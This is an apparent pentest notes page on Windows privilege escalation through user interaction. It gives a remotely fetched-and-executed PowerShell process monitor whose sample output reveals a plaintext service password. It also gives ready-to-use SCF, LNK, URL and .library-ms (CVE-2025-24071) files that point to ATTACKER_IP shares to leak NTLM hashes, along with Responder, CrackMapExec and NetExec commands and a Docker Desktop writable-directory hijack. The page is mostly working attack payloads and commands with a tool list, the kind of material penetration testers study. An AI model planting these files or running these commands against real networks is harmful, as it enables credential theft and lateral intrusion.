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On this page
  • Traffic Capture
  • Tools
  • Monitoring for Process Command Lines
  • Vulnerable Services
  • CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File
  • SCF on a File Share
  • ntlm_theft
  • CME
  • Rocabella
  • LNK File on a File Share
  • lnkdomb
  • Netexec
  • Rocabella
  • URL Files on a File Share
  • Obfuscated Files
  1. Pentest
  2. Privilege Escalation
  3. Windows

Interacting with Users

PreviousRDWeb BreakoutNextPillaging

Last updated 1 month ago

Traffic Capture

Tools

Monitoring for Process Command Lines

procmon.ps1

while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

}
PS C:\htb> IEX (iwr 'http://10.10.10.205/procmon.ps1') 

InputObject                                           SideIndicator
-----------                                           -------------
@{CommandLine=C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}} =>      
@{CommandLine=“C:\Windows\system32\cmd.exe” }                          =>      
@{CommandLine=\??\C:\Windows\system32\conhost.exe 0x4}                      =>      
@{CommandLine=net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd}       =>       
@{CommandLine=“C:\Windows\system32\backgroundTaskHost.exe” -ServerName:CortanaUI.AppXy7vb4pc2... <=

Vulnerable Services

Docker Desktop Community Edition before 2.1.0.1.

The program looks for docker-credential-wincred.exe and docker-credential-wincred.bat files in the C:\PROGRAMDATA\DockerDesktop\version-bin\. This directory was misconfigured to allow full write access to the BUILTIN\Users group, meaning that any authenticated user on the system could write a file into it (such as a malicious executable).

Any executable placed in that directory would run when a) the Docker application starts and b) when a user authenticates using the command docker login.

CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File

poc.library-ms

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\ATTACKER_IP\\SHARE_NAME</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

SCF on a File Share

@Inventory.scf

[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
sudo responder -wrf -v -I tun0

ntlm_theft

ntlm_theft supports the following attack types:

  • Browse to Folder Containing

    • .url – via URL field

    • .url – via ICONFILE field

    • .lnk - via icon_location field

    • .scf – via ICONFILE field (Not Working on Latest Windows)

    • autorun.inf via OPEN field (Not Working on Latest Windows)

    • desktop.ini - via IconResource field (Not Working on Latest Windows)

  • Open Document

    • .xml – via Microsoft Word external stylesheet

    • .xml – via Microsoft Word includepicture field

    • .htm – via Chrome & IE & Edge img src (only if opened locally, not hosted)

    • .docx – via Microsoft Word includepicture field

    • .docx – via Microsoft Word external template

    • .docx – via Microsoft Word frameset webSettings

    • .xlsx - via Microsoft Excel external cell

    • .wax - via Windows Media Player playlist (Better, primary open)

    • .asx – via Windows Media Player playlist (Better, primary open)

    • .m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)

    • .jnlp – via Java external jar

    • .application – via any Browser (Must be served via a browser downloaded or won’t run)

  • Open Document and Accept Popup

    • .pdf – via Adobe Acrobat Reader

  • Click Link in Chat Program

    • .txt – formatted link to paste into Zoom chat

CME

crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=ATTACKER_IP
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=ATTACKER_IP
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=ATTACKER_IP

Rocabella

LNK File on a File Share

lnkdomb

Generating a Malicious .lnk File


$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

Netexec

nxc smb IP -u username -p password -d domain.local -M slinky -o NAME=Shortcut SERVER=ATTACKER_IP

Rocabella

URL Files on a File Share

This attack also works with .url files and responder -I eth0 -v

[InternetShortcut] 
URL=whatever 
WorkingDirectory=whatever 
IconFile=\10.10.10.10%USERNAME%.icon 
IconIndex=1

Obfuscated Files

Word, ppt, scf, lnk, etc

Using SCFs no longer works on Server 2019 hosts, but we can achieve the same effect using a malicious file.

Network Attacks
.lnk
GitHub - mlgualtieri/NTLMRawUnHide: NTLMRawUnhide.py is a Python3 script designed to parse network packet capture files and extract NTLMv2 hashes in a crackable format. The following binary network packet capture formats are supported: *.pcap *.pcapng *.cap *.etlGitHub
NTLM Relaying - Making the Old New Again | JUMPSEC LABSJUMPSEC LABS
How to Find Passwords Using WiresharkInstructables
NetworkMiner - The NSM and Network Forensics Analysis Tool ⛏Netresec
NetMiner - Free Version
Logo
GitHub - ShellCode33/CredSLayer: Extract credentials and other useful info from network capturesGitHub
CredSLayer
GitHub - DanMcInerney/net-creds: Sniffs sensitive data from interface or pcapGitHub
net-creds
GitHub - lgandx/PCredz: This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.GitHub
PCreds
BruteShark
GitHub - odedshimon/BruteShark: Network Analysis ToolGitHub
Elevation of Privilege in Docker for WindowsMedium
GitHub - dievus/lnkbomb: Malicious shortcut generator for collecting NTLM hashes from insecure file shares.GitHub
GitHub - nickvourd/Rocabella: Sniffing files generatorGitHub
GitHub - nickvourd/Rocabella: Sniffing files generatorGitHub
GitHub - 0x6rss/CVE-2025-24071_PoC: CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms FileGitHub
CVE-2025-24054, NTLM Exploit in the Wild - Check Point ResearchCheck Point Research
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GitHub - Greenwolf/ntlm_theft: A tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)GitHub
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GitHub - sevagas/macro_pack: macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for pentest, demo, and social engineering assessments. The goal of macro_pack is to simplify exploitation, antimalware bypass, and automatize the process from malicious macro and script generation to final document generation. It also provides a lot of helpful features useful for redteam or security research.GitHub
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